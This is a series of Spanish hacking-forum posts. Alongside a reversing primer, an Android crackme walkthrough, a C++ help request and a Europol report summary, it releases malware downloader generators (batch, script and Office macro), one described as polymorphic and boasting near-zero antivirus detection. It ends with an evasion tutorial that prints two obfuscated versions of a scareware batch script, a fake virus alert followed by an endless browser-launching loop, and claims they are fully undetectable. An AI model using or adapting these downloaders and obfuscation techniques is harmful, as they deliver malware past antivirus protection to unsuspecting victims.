Lo principal es entender como funciona un ordenador a bajo nivel, como maneja los registros la arquitectura sobre la que corre nuestra aplicación, la pila, etc.. Por tanto, al trabajar a bajo nivel, es necesario saber programar a bajo nivel, o al menos tener la capacidad de leer lenguaje ensamblador. En algunos casos como en aplicaciones desarrolladas en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, c#, java y algunas mas es posible decompilar el binario y obtener el código en un lenguaje de alto nivel.

A continuación dejo unas cheatsheets con las instrucciones en ensamblador para arquitecturas Intel, ARM y MIPS.

ASM:

MIPS:

ARM:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Una vez tenemos claro el funcionamiento del pc y el funcionamiento de las diferentes instrucciones en bajo nivel. ¿Qué es lo siguiente?
El siguiente paso lógico es detectar en que lenguaje esta desarrollado el software, para esto podemos usar tolos como 4n4l detector, rdgmax packer detector, PEid...
Estas herramientas nos darán parte de la información que necesitamos.
En caso de que nos detecte que la aplicación esta desarrollada en lenguajes que sea posible decompilar, el proceso se facilita mucho.
Algunas herramientas útiles son de4dot, dnspy, ildasm, ilspy.


En caso contrario tenemos que tratar de recopilar toda la información que podamos, suponiendo que trabajemos sobre un binario PE (Windows) debemos saber en que lenguaje ha sido desarrollado, si se le han aplicado packers, si tiene medidas de protección frente a debuggers, que librerías y funciones importa, que secciones tiene el binario y como se organizan y por ultimo verificar que la IAT No tienes permitido ver enlaces. Registrate o Entra a tu cuenta esta correcta, en caso contrario habrá que repararla para el correcto funcionamiento del ejecutable.
Todo lo mencionado en este punto se puede hacer con PEid, aunque personalmente prefiero usar rdgmax packer detector para identificar posibles packers y el lenguaje ya que es capaz de detectar de forma heurística firmas falsas, para el resto me gusta LordPE.

Por ultimo, queda hacer la parte mas interesante, el análisis dinamico o depurado. Esta fase consiste en ejecutar y experimentar con el binario, someterlo a estrés, modificar el flujo, en definitiva, hacer lo que desde un primer momento queríamos hacer, ya fuese cracking, exploiting, analizar malware o simplemente entender el funcionamiento para replicarlo o mejorarlo.
En esta sección destaca una aplicación por encima de todas las demás IDA de hexrays y no solo por su precio (en torno a 1500$), IDA nos permite realizar análisis estatico y dinamico para cualquier arquitectura sin necesidad de trabajar sobre la arquitectura objetivo, es el programa mas completo con diferencia.
Otras aplicaciones de debugging buenas para windows son ollydbg y windbg.
Para sistemas UNIX sin duda recomiendo radare2, no es fácil de usar pero tiene un potencial tremendo. Para empezar quizás sea mas apropiado usar gdb (gnu debugger) con el modulo peda.

Infografia en el blog: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#13
Buenas underc0deanos, en esta ocasion vengo a dejar una tool que llevo desarrollando unas semanas, no esta terminada ni mucho menos, queda bastante por hacer, pero esta sera la primera version publica.

El objetivo de la herramienta es entender con diferentes ejemplos como funciona un downloader para evitar infecciones con este metodo, para asi poder hacer del mundo un lugar un poco mas seguro.

Antes de nada aclarar que no todos los metodos estan desarrollados de 0 por mi, especialmente las macros para office, aunque si que estan modificadas para mejorar su funcionamiento.

Sin mas paso a enumerar las opciones de esta primera version:
1. Generacion de downloaders con diferentes tipos de archivo.
-HTA
-WSF
-VBS
-HTM
-HTML
-CMD
-BAT
-PS1
-PSC1

2.Generador de macros para office
-2 tipos word
-2 tipos excel

A continuacion dejare scans de cada tipo de archivo.



















Macros office:









En proximas versiones
-Implementare nuevos tipos de archivos
-Implementare nuevos metodos de ofuscacion
-Terminaer motor de ofuscacion para las macros, va para largo, pero aqui hay un ejemplo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
-Implementare nuevas macros (calculo que la version final tendra unas 30)
-Implementare estension spoofer
-Implementare downloader via imagen
-Compatibilizare el binario con linux

Contraseña del rar

侵 侵 呢 箇 来 根 弗 命 打 咾 争 令 吴

chinzo72C/reverse(feron74)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Update version 0.1.1
-Añadidos dos nuevos downloaders en autoit.





No tienes permitido ver enlaces. Registrate o Entra a tu cuenta Misma contraseña
#14
Buenas underc0deanos, en esta entrada enseñare como resolver este crackme No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Vamos al lio

para instalarlo en nuestro emulador usamos el android device bridge

Lo subimos con adb push 'local' 'emulador'

Abrimos shell en el emulador con adb shell

Navegamos hasta el directorio donde hayamos subido el APK

Instalamos con adb install nombre_del_paquete



El crackme presenta el siguiente panel de login donde nos pide un email y una contraseña (secret):



Lo siguiente que haremos sera situarnos con la consola del sistema en el directorio donde hayamos instalado el apk y escribir apktool d nombre_del_paquete

Una vez se haya decompilado el apk, entramos en la carpeta que se ha creado y posteriormente en el directorio smali

Una vez estamos en el directorio smali hacemos grep -R -i password

Con este comando buscaremos en todos los directorios de forma recursiva el string password sin case sensitive (-i)

Lo que estamos buscando son cadenas hardcodeadas que contengan password a ver si podemos tirar del hilo a partir de ahí.

Debería llamarnos la atención la siguiente linea



Para ver mas concretamente a que viene esta linea debemos navegar hasta la ruta indicada en morado.

Una vez dentro podemos ver el archivo en código smali

*Nota: el código smali es el punto medio entre el código programado en Java y el código dalvik que es el que "entiende" la maquina virtual de android al ejecutar la aplicación.

En la linea 191 encontramos el string que estábamos buscando, y un poquito mas abajo debería llamarnos bastante la atención la siguiente linea también hardcodeada

const-string v8, "[WARN] Secret didn\'t match b2c4782f0afc0d9ccf21af70ac6c5c7e"

Esto es un mensaje de error de un log generado tras comparar dos hash MD5, este hash que compara es la contraseña (secret) que hemos introducido, así que por pura lógica, si desciframos el hash ya tendremos la contraseña.

Ahora nos falta el email de acceso, pero si en ese mismo archivo buscamos @ saltamos directamente a otra linea hardcodeada con un email.

Ya tenemos el email y la contraseña (secret), probemos a hacer login...



Eso es todo, cualquier duda en los comentarios :D .
#15
Buenas underc0deanos, esta vez vengo con un problema al realizar un ejercicio en C++, el enunciado es el siguiente:
Código: text
Escribe un programa que genere un archivo output.txt en el que aparezcan invertidos los números enteros positivos que haya en otro archivo input.txt. Contempla dos alternativas de formato del fichero input.txt:
• En la primera, cada línea contiene un número entero y termina en una línea con un 0 (centinela). Por ejemplo:
input.txt

1234
56
1000
-987
54321
0
<eof>
output.txt
4321
65
0001
12345
<eof>


El codigo que he escrito es el siguiente:
Código: cpp
#include <iostream>
#include <fstream>
#include <string>
using namespace std;

int inverso(int num);
void lectura();
void escritura(int inverso);
int main() {
lectura();
system("pause");
return 0;
}

int inverso(int num) {
int auxiliar = 0;
do {
auxiliar = auxiliar * 10 + (num % 10);
num = num / 10;
} while (num > 0);
return num;
}

void escritura(int inverso) {
ofstream archivo;
archivo.open("output.txt");
archivo << inverso;
archivo.close();
}

void lectura() {
ifstream archivo;
int numero;
archivo.open("input.txt");
while (archivo >> numero){
escritura(inverso(numero));
}
archivo.close();
}


El programa evidentemente no funciona
He colocado un breakpoint en la linea "archivo.open(input.txt);" y en tiempo de ejecuccion obtengo el siguiente error "{_Filebuffer={_Pcvt=0x00000000 <NULL> _Mychar=0 '\0' _Wrotesome=false ...} }"

A alguien se le ocurrre cual puede ser el fallo?

Gracias de antemano
#16
Buenas underc0deanos, en este post presentare una nueva herramienta, en este caso un downloader.


La herramiento genera un downloader *.bat, el metodo lo descubri analizando una pieza de ransomware no muy conocida, me gusto asi que aqui esta la implementacion.
Antes de dejar el link de descarga, hablare un par de lineas sobre la herramienta

Este downloader es polimorfico, esto significa que cada generado solo sera igual a los demas en un 21% del codigo, es por esto que la deteccion del payload sera complicada para las compañias de antivirus, lo unico que van a poder firmar es la URL del archivo a descargar ya que esta en texto plano en el archivo. Si apareciese alguna otra deteccion que no dependiese de la URL ni de la ruta de droppeo escribid un comentario e intentare solucionarlo.

Adjunto imagen de una comparacion entre dos payloads generados con las mismas opciones.


Igual en los dos archivos
Diferencias entre los dos archivos

A dia de hoy el scan esta 1/35 siendo detectado por NANO Antivirus como Trojan.Script.Agent.bfwzap dado que este antivirus es muy minoritario no creo que sea algo de lo que preocuparme.

Scan completo: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Dejo un gif del funcionamiento con ESET NOD32 v9 completamente actualizado (El modo jugador se activo al grabar el gif pero no afecta)


Como se ve en el GIF necesita permisos de administrador el archivo ya que droppea en C, contemplando dos opciones, TEMP o APPDATA

Link de descarga No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Contraseña: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

*Ni que decir tiene que esta herramienta se ha desarrollado y publicado con fines meramente educativos y que no me responsabilizo del mal uso que se le pueda dar

Un saludo
#17
Buenas underc0deanos, hoy vengo a dejaros el pdf de la europol donde detallan los ataques mas comunes sufridos por organizaciones dentro de la union europea, asi como previsiones y tendencias del cibercrimen


Internet Organised Crime Threat Assessment (IOCTA) 2016

The 2016 Internet Organised Crime Threat Assessment (IOCTA) is a law enforcement-centric threat assessment intended to inform priority setting for the EMPACT Operational Action Plans in the three sub-priority areas of cybercrime (cyber attacks, child sexual exploitation online and payment fraud). The IOCTA also seeks to inform decision-makers at strategic, policy and tactical levels on how to fight cybercrime more effectively and to better protect online society against cyber threats.

The 2016 IOCTA provides a view from the trenches, drawing primarily on the experiences of law enforcement within the EU Member States to highlight the threats visibly impacting on industry and private citizens within the EU. The IOCTA is a forward-looking assessment presenting analyses of future risks and emerging threats, providing recommendations to align and strengthen the joint efforts of EU law enforcement and its partners in preventing and fighting cybercrime.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#18

Buenas underc0deanos, en esta entrada presentare tres ejemplos simples pero efectivos para indetectar archivos *.bat.

Para el ejemplo utilizare este script (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) que devuelve el siguiente scan en virustotal.


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Ahi vemos que tiene 16 detecciones.

Antes de empezar con la parte practica estaría bien saber como funciona un antivirus, para ello recomiendo esta lectura.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

El método que utilizaremos hoy, tal y como viene explicado en la web del Instituto nacional de ciberseguridad español(No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) es:

Ofuscación del código: Es la técnica más habitual y habitualmente se encuentra junto con el cifrado del código. Consiste en hacer que el código no sea legible, previniendo de esta forma la ingeniería inversa del código y por supuesto la detección por parte de los motores de antivirus. Básicamente convierte un código M en otro M' sin perder funcionalidad y manteniendo el comportamiento. Algunas muestras de malware van un paso más allá y ofuscan todo su código utilizando mecanismos llamados packers, de forma que sólo es accesible una parte del código y se desempaquetan en tiempo real. Esta técnica se combina con la detección de entornos virtuales para evitar desempaquetar el malware en un entorno de sandbox para dificultar aún más la detección.


La ofuscación de código tiene múltiples variantes, incluyendo los polimorfismos y metamorfismos, además de multitud de mecanismos para realizarla sin perder la funcionalidad, pero esto es una historia de la que hablaremos otro día.

Bien, una vez que sabemos mas o menos como funcionan los métodos de detección de un antivirus, vamos a evadirlos.

Para ello he desarrollado una aplicación en .NET con 3 formas diferentes de evasión, sencillas a la vez que efectivas.

*Esta entrada esta escrita con fines educativos, en ningún momento incito a la infección con malware o busco hacer apología del delito.

Para esta entrada utilizare la siguiente herramienta:



Vamos a probar la primera opción que como bien pone en el programa va a generar cadenas aleatorias que sustituirán cada letra del codigo original. Este método de evasión es polimorfismo, es decir, cada código ofuscado sera diferente al anterior, dificultando en gran medida el estudio del malware por las compañías de antivirus.

Este es el nuevo código de nuestro malware
Código: dos
@echo off
set hysrphc=a
set ttcigip=b
set cmeozmn=c
set looefqh=d
set xcemwrj=e
set yjlnzdw=f
set vwbqqtr=g
set rapqfld=h
set houlchi=i
set erdehxi=j
set wjlnlsm=k
set epdwkxq=l
set zcyglpx=m
set tcjssjk=n
set gykgkjw=o
set twbqdih=p
set atrwzpc=q
set qqebimb=r
set qgsmxyk=s
set yqsooez=t
set bctabnl=u
set ugmfbhj=v
set jqpnofo=w
set dctzpyw=x
set lnkzhdk=y
set bofxibv=z
@%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% %gykgkjw%%yjlnzdw%%yjlnzdw%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% WARNING VIRUS HAS BEEN DETECTED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%lnkzhdk%%qgsmxyk%%yqsooez%%xcemwrj%%zcyglpx% %cmeozmn%%rapqfld%%xcemwrj%%cmeozmn%%wjlnlsm%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% P%gykgkjw%%jqpnofo%%xcemwrj%%qqebimb% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% RAM – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% N%gykgkjw%%qqebimb%%yqsooez%%gykgkjw%%tcjssjk% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% B%qqebimb%%xcemwrj%%hysrphc%%cmeozmn%%rapqfld% %gykgkjw%%yjlnzdw% IP %hysrphc%%looefqh%%qqebimb%%xcemwrj%%qgsmxyk%%qgsmxyk%
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% F%houlchi%%qqebimb%%xcemwrj%%jqpnofo%%hysrphc%%epdwkxq%%epdwkxq% – FAILED
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% V%houlchi%%qqebimb%%bctabnl%%qgsmxyk% %hysrphc%%yqsooez%%yqsooez%%hysrphc%%houlchi%%tcjssjk%%houlchi%%tcjssjk%%vwbqqtr%: ****-****-****-8894
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% H%hysrphc%%qqebimb%%looefqh% %looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj% %zcyglpx%%bctabnl%%qgsmxyk%%yqsooez% %ttcigip%%xcemwrj% %xcemwrj%%qqebimb%%hysrphc%%qgsmxyk%%xcemwrj%%looefqh% %hysrphc%%tcjssjk%%looefqh% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez%%xcemwrj%%looefqh% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%qgsmxyk%%bctabnl%%zcyglpx%%xcemwrj% %jqpnofo%%houlchi%%tcjssjk%%looefqh%%gykgkjw%%jqpnofo%%qgsmxyk%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
PAUSE
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% S%yqsooez%%hysrphc%%qqebimb%%yqsooez%%houlchi%%tcjssjk%%vwbqqtr% %yqsooez%%gykgkjw% %qqebimb%%xcemwrj%%ttcigip%%gykgkjw%%gykgkjw%%yqsooez% %rapqfld%%hysrphc%%qqebimb%%looefqh%%qqebimb%%houlchi%%ugmfbhj%%xcemwrj%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% D%gykgkjw% %tcjssjk%%gykgkjw%%yqsooez% %hysrphc%%yqsooez%%yqsooez%%xcemwrj%%zcyglpx%%twbqdih%%yqsooez% %yqsooez%%gykgkjw% %atrwzpc%%bctabnl%%houlchi%%yqsooez%.
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% –
%xcemwrj%%cmeozmn%%rapqfld%%gykgkjw% R%xcemwrj%%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% %hysrphc%%yjlnzdw%%yqsooez%%xcemwrj%%qqebimb% 10 %zcyglpx%%houlchi%%tcjssjk%%bctabnl%%yqsooez%%xcemwrj%%qgsmxyk% %hysrphc%%twbqdih%%twbqdih%%qqebimb%%gykgkjw%%dctzpyw%%houlchi%%zcyglpx%%hysrphc%%yqsooez%%xcemwrj%%epdwkxq%%lnkzhdk%.
PAUSE
:START
%qgsmxyk%%yqsooez%%hysrphc%%qqebimb%%yqsooez% I%tcjssjk%%yqsooez%%xcemwrj%%qqebimb%%tcjssjk%%xcemwrj%%yqsooez% E%dctzpyw%%twbqdih%%epdwkxq%%gykgkjw%%qqebimb%%xcemwrj%%qqebimb%.%ttcigip%%hysrphc%%yqsooez%
GOTO START


Vamos a ver como queda el scan despues de aplicarle esta ofuscacion al codigo


Con este primer método conseguimos un payload 100% indetectable, tanto a nivel de scan como a nivel de proactivas y procedimientos heuristicos, al ser un archivo por lotes es mucho mas sencilla la evasion total. Esto ocurre con los lenguajes tipo script como batch y visual basic script.

Vamos a probar la segunda opción, que consistirá en generar variables basura entre cada carácter para confundir al antivirus. Este método, al tener igualmente el código en texto plano no nos deja un archivo totalmente indetectable:



Este es el codigo resultante con el segundo metodo de ofuscacion:
Código: dos
%tvstlke%@%tywhgxt%e%ntidtrv%c%fbjclle%h%dkrmkbo%o%ppzjobv% %nkbthqa%o%vezdmwk%f%uceamjo%f%nzlzlec% %ptdxjpk%
%auihfrr%e%nmaceqs%c%slmklyz%h%zetwpfj%o%nnehbep% %ozlzypn%W%gaarpll%A%rsyrzmy%R%bylvnpr%N%ypjrxgx%I%crdtxpo%N%sjrimmd%G%ylfdcti% %iwsxlvl%V%zbpjuru%I%tstlokm%R%wrkagve%U%irshrvb%S%fnquvmr% %ddjlual%H%jkgadhb%A%jedeluv%S%tcfbzye% %wsofeia%B%yvnnptd%E%mjxovst%E%pthdhcg%N%wihwshf% %uihwewv%D%dbkcyat%E%mdusdfn%T%yrjzugp%E%zyqbxrc%C%wlgephx%T%rpudezj%E%idzzawo%D%fgisflo% %xyrbkgs%
%fejkilw%e%aretked%c%urpgrxq%h%hnptixc%o%ulhebwn% %aixkxdi%S%qfjpgah%y%rvxzwmq%s%zfycnsf%t%crzoabr%e%vvstzvp%m%rqyjcmg% %erynnmc%c%mcpngrq%h%iootwim%e%sdjgxla%c%sgnurzo%k%equipzf% %xzvghuo%
%vhdqgjy%e%hnlokkf%c%fhmydzk%h%umppxxg%o%maqfjry% %lhcmwfy%-%hqpcfxu% %ssumbzb%
%fkmgazd%e%rtcxxau%c%rbfblnt%h%fkqmymz%o%gxxdvxx% %firdbmh%P%jqkwvvi%o%tvxzjxb%w%pmvwtoh%e%uppyuxy%r%jgcmiun% %qjrizbs%-%heikwwh% %rybnqae%F%lpfqlsw%A%vzamswa%I%aoelnel%L%xkcyrub%E%vbvpriv%D%bhsezqm% %bbpiicf%
%kzqfvgo%e%npakbqk%c%pszslbn%h%krnbgtp%o%grthdkq% %ogsaoqq%-%mftbaff% %vywhujd%
%eafxanx%e%qpveqoz%c%rwcftam%h%oisilqi%o%jmgiaht% %glqllxk%R%xeuxbuy%A%pvcfgpc%M%xbupeug% %soqygmn%-%szfscym% %ylbyefm%F%ttxrmyj%A%sfiouls%I%pnzbrbd%L%qdomhom%E%qckgjap%D%uolswkb% %nseyvdz%
%jnkoyvq%e%woksjvm%c%lkgzrtm%h%alaysqw%o%kavltuk% %kdzyohz%-%wogmmhq% %pwhlecy%
%tptdsku%e%gvbbwlb%c%xeyczhv%h%ljbutfq%o%excjfai% %deoqsoi%N%fyfoqyq%o%qakymax%r%xhylwhn%t%jqobtie%o%pjwowop%n%wicquuj% %fenqgzs%-%wfdixur% %iyaigwe%F%ltjdggl%A%azdsbdf%I%fbwubmw%L%utkiqjl%E%bwzegqr%D%srpgdmf% %jwnsnio%
%dnruhbg%e%gmhjzly%c%lbmiutj%h%oiodncl%o%nyhtnrf% %muabhfk%-%mowfpsd% %cxcjrpy%
%fmmoxyv%e%hplwhkx%c%vdvxoin%h%rdbdkzo%o%ztawvfo% %edffxnp%B%glddbyc%r%pnnthcv%e%hmhinwj%a%cijbbpl%c%ggenhys%h%bksmwqe% %ryxitmi%o%pbgbyci%f%htokcxm% %ioclmje%I%kmcccux%P%dmmpjnk% %jyjumuk%a%effnunh%d%dsqlbbq%r%aahyzrb%e%bqviodk%s%bprdqpo%s%mlxwssl% %fqqcsmj%
%uaskfko%e%hbrorkk%c%wxnwyik%h%lyiuzgv%o%vnchaji% %vqgvvwx%-%olsqiqa% %ajohlrw%
%ecbzzas%e%rhjxdaz%c%irgzgwt%h%wwjqauo%o%pkjfmph% %orvmadg%F%qlnlyno%i%bmrvtqw%r%pekpspx%e%tdwyaxd%w%awdkedn%a%hvkmbjh%l%qrumnor%l%hskeejp% %skifnlc%-%dqvicov% %zhtfmfb%F%djngmns%A%mrwnmsv%I%zdprrrm%L%koblzup%E%btzwjqz%D%vkdzdjq% %xjtnvti%
%dzymqbt%e%gfahjlv%c%fwtyjzq%h%kcqnsgg%o%elijlan% %uuoooxi%-%xkytthf% %znwbesh%
%nbhckrx%e%jbmihiz%c%qqmbsny%h%warjtvz%o%fttqmzx% %nvdgsdr%V%zjtnjft%i%aqaomqh%r%xdqrdgc%u%thertyo%s%jvjmpvs% %hzsguks%a%zqaoyfw%t%hwsyxka%t%bjnhzch%a%vjytfwu%i%ifzhxwg%n%wdqsqvr%i%cagxmcm%n%sxtcvzm%g%tnhnklu%:%axhpcrj% %ejiboav%*%xnbgout%*%lxeocsy%*%fjibclg%*%ouzauqv%-%dvuywof%*%nkolwrs%*%mnszreh%*%gidveyk%*%yrfuwss%-%wznevid%*%ifvbzij%*%gzwlsxp%*%ouvvxdy%*%nszsxqd%-%gohrwlq%8%iiypuwy%8%tkdzqyg%9%gcwtpxh%4%lahcwgn% %supoamx%
%gcazmld%e%hpgqkwb%c%zpwjbsz%h%kitjktm%o%ungmywf% %refjinl%-%vhzliwc% %lzmzxtr%
%rbbvnaw%e%bmnpwcz%c%sqlbfyj%h%mhodara%o%pgfsrcs% %bgozccp%H%yclmgtf%a%wtfcgha%r%czcsooq%d%ctywxbj% %mraskfs%d%phjxppp%r%rkifaar%i%fytggzi%v%ijdvsju%e%pycodou% %nydopdj%m%wqfujhi%u%fspkpmb%s%rherfnd%t%solsiyr% %pacwaom%b%leqvpgy%e%bsvqldc% %ywekqsc%e%qnmtvng%r%ytectsk%a%tgzlvlr%s%nhkycee%e%adllteq%d%nacwmdb% %uxscikw%a%kufgrhw%n%kktrhte%d%sutuyzu% %vguflif%r%oknlkcd%e%kfubntu%b%xgufytq%o%fslfryf%o%cdklhpb%t%lseyiso%e%lvimcgd%d%ygpzagu% %qoqysbc%t%oxzirqn%o%acggvru% %yxiqogz%r%nblhieu%e%fplwuyn%s%ewxdhmm%u%afktqei%m%lhpemgq%e%yziylgr% %kiypihj%w%krbtwuh%i%yamdjtn%n%zmsvgel%d%yxmvmtv%o%cffogcw%w%mlsruep%s%jbroevv%.%nelpfem% %cwyeubb%
%jynakih%e%audchdv%c%koxfbht%h%efaiwzk%o%ooveddo% %teadylz%-%qaxqcbp% %oqrhcpk%
%uxowlxa%P%urkatjt%A%dpmxgnc%U%gevcmxz%S%ihujwib%E%dgjtrad% %zgpzore%
%hvoszxe%e%fvpslmt%c%oorzfqs%h%xqbplul%o%jeqwbvn% %klxxfhb%-%hyoawxw% %ccbaloi%
%aaldwey%e%qtqpmbm%c%ilyxrwq%h%qrqgpbu%o%lelqrtb% %mpaknfa%S%raxqqma%t%mitjxfx%a%lvegfsg%r%icvtcir%t%jsjesva%i%jsfyuhe%n%ndgkhrq%g%gizpgln% %ccgfjce%t%pegjvca%o%eabrcaa% %tawpdxl%r%dpqceby%e%dtuqzon%b%pdbexoe%o%ilcdpjm%o%mfpvdri%t%zkxshsp% %quuukoj%h%ezxmeme%a%xmxbqhx%r%wujidvw%d%ynbgbfe%r%jpfqxhm%i%qxtchob%v%cgktept%e%dfeeaam%.%kdlgygg% %tawgklq%
%kamybgo%e%vtjzkib%c%zosujsi%h%vfqqtio%o%zhksurf% %pzxhjov%-%vbmdzva% %nxdfwro%
%dbbqfny%e%ysetagp%c%arvhsqh%h%ghzgnys%o%jnbbghu% %ieusgwp%D%ganzakt%o%hukdixn% %xcqikth%n%asznqde%o%cvyvaog%t%qjiwhnx% %mjocdey%a%tynvokx%t%yjsdpsy%t%brqcudl%e%jtasahe%m%csuhfbs%p%woxauuu%t%alrladb% %wpflpvn%t%mdkglrr%o%khtaqhr% %cycivcv%q%dupjfoo%u%erpbvzg%i%ysancst%t%edwtfzt%.%zlsmmsq% %yydjufa%
%vfuwrwl%e%wvjhhit%c%wvebjux%h%hrkvlxv%o%avdakrs% %ogfiypx%-%bhfmkpt% %rdaurnu%
%gevssle%e%pspftos%c%pwttobg%h%jrfpbvj%o%uocgewg% %zioysec%R%lnwvwfj%e%cxtxzbc%s%rcwptzx%t%jpwefuq%a%jxilsip%r%lqajrsx%t%wsftmuf% %jkxnlug%a%ojjwtcm%f%vcqixiw%t%caxluor%e%kxilgta%r%cyxdxoy% %nqvdgql%1%xwigvte%0%umgdfjk% %ypaffsb%m%hwjlfxf%i%ujcpkww%n%eupjszy%u%vznvcvi%t%pqqxwoa%e%sphmoyr%s%xelljgc% %blngcpe%a%zbgwcez%p%fidmllp%p%yrviefx%r%pacmgcr%o%splrmmo%x%uskzwxr%i%ihuadwh%m%ehagzni%a%lwzzksh%t%qgeimai%e%zzhofeh%l%ibrelia%y%upglcjc%.%vwnmfvq% %sjdqwll%
%nnrpmdx%P%ebwlizb%A%befenpb%U%twonrkf%S%bcgwqpj%E%wpbfrhq% %qpmsybd%
%dlmfqbp%:%qieqjaa%S%xguwfhv%T%mdgaoev%A%ntvldqd%R%vdvouwt%T%yowzhff% %rtpfhzc%
%gdrnuxi%s%apvzvqp%t%iamznve%a%ybhxoto%r%hqbkpwc%t%htfykjq% %bortxdt%I%twsspxb%n%rfaconm%t%dkiasnt%e%bfkkkcy%r%jzitpih%n%ixnqqvm%e%auuppqz%t%domnnbh% %opryidp%E%bijshcq%x%ggvapkw%p%nzcntrg%l%binyfqm%o%cuupcbk%r%uvjhtxj%e%fnhidyv%r%ptulrbo%.%mksibsu%b%qmmjbbl%a%fezyqya%t%mhougeg% %wranohi%
%nwyzyds%G%hnccswk%O%kmsqkhb%T%wmbxuhy%O%tizkyyo% %rzsbymj%S%xfpqhtz%T%xzmupgs%A%gxnrdkb%R%jnxwiuy%T


Podemos observar que la firma detectada es la misma en todos los archivos, esto es porque todas esas compañías de antivirus comparten la base de datos, por tanto podemos asegurar que solo 1 de las tantas compañías de antivirus en el mercado detecta este método de evasión.

Pero para solucionar este problema tenemos la tercera opción, en la que construiremos un archivo que al no ser legible ya no contendrá el texto en plano y por tanto sera mucho mas difícil de detectar tanto por los antivirus como por un analista de malware en el caso de que nuestra muestra llegue a un laboratorio.

Este es el scan con la segunda + la tercera opción:


Ahí lo tenemos 100% indetectable de nuevo.

Este seria el nuevo script que nos ha quedado.

Código: text
